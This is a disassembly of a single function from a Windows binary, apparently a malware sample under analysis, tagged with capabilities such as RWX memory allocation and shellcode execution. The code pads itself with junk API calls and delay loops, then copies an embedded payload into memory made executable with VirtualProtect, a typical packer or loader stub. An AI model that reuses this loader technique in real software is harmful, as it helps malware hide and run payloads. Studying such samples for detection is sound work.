Function at 0x403a44
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x803f57
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x20d4
call fcn.0040be40
push ebx
push esi
xor esi, esi
cmp dword [0x8b7588], 0x5b1
push edi
jne 0x403aff
push esi
lea eax, [esp + 0xe4]
push eax
push esi
push 0x402ef8
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push esi
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
lea eax, [esp + 0x24]
call fcn.00403db7
push esi
mov dword [esp + 0x20f0], esi
call reloc.KERNEL32.dll_GetConsoleAliasA
pop ecx
call fcn.004048ea
push 0x402f2c
lea ecx, [esp + 0x14]
call fcn.00403620
lea ecx, [esp + 0x10]
call fcn.0040363c
lea ecx, [esp + 0x10]
call fcn.00403682
lea ecx, [esp + 0x10]
call fcn.0040369b
push esi
push esi
call fcn.00404c69
push esi
call reloc.KERNEL32.dll_PeekConsoleInputA
add esp, 0xc
push esi
call fcn.00405082
add dword [0x8b7588], 0x1134b
push dword [0x8b7588]
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [esp + 0x20]
push ecx
push 0x40
push dword [0x8b7588]
mov dword [0x8b64dc], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
xor edi, edi
push esi
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp edi, 0x206d47
jg 0x403b57
inc edi
cmp edi, 0x4f6a4
jl 0x403b37
xor edi, edi
cmp dword [0x8b7588], esi
jbe 0x403bb5
cmp dword [0x8b7588], 0xa8
mov eax, dword [0x8b758c]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x8b64dc]
mov byte [ecx + edi], al
jne 0x403bac
push 0x402f40
push esi
call dword [sym.imp.KERNEL32.dll_SetComputerNameExW]
push 0x402fe8
lea eax, [esp + 0xe4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
inc edi
cmp edi, dword [0x8b7588]
jb 0x403b61
xor edi, edi
mov eax, dword [0x8b7588]
add eax, edi
cmp eax, 0xe
jne 0x403c1b
push esi
lea eax, [esp + 0xe4]
push eax
push esi
push 0x403048
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
push esi
lea eax, [esp + 0x4e4]
push eax
push esi
push 0x403068
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetNumberFormatW]
push 0x4030b8
push 0x4031b0
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push esi
push esi
lea eax, [esp + 0xce8]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
inc edi
cmp edi, 0x39621
jl 0x403bb7
call fcn.0040392d
xor edi, edi
push esi
call ebx
cmp edi, 0x26
jne 0x403c38
call fcn.00403a2a
inc edi
cmp edi, 0x6753f
jl 0x403c2b
push 0x7b
pop edi
cmp dword [0x8b7588], 0x86
jne 0x403ca9
push esi
push esi
push esi
lea eax, [esp + 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoA]
push 0x4031e8
push 0x403240
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelA]
push esi
push esi
push esi
push 0x403294
push 0x4032ac
push esi
call dword [sym.imp.KERNEL32.dll_UpdateResourceA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
push esi
lea eax, [esp + 0x14e4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
push esi
lea eax, [esp + 0x18e4]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
dec edi
jne 0x403c44
push 0x4032d8
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ecx, dword [esp + 0x20e4]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret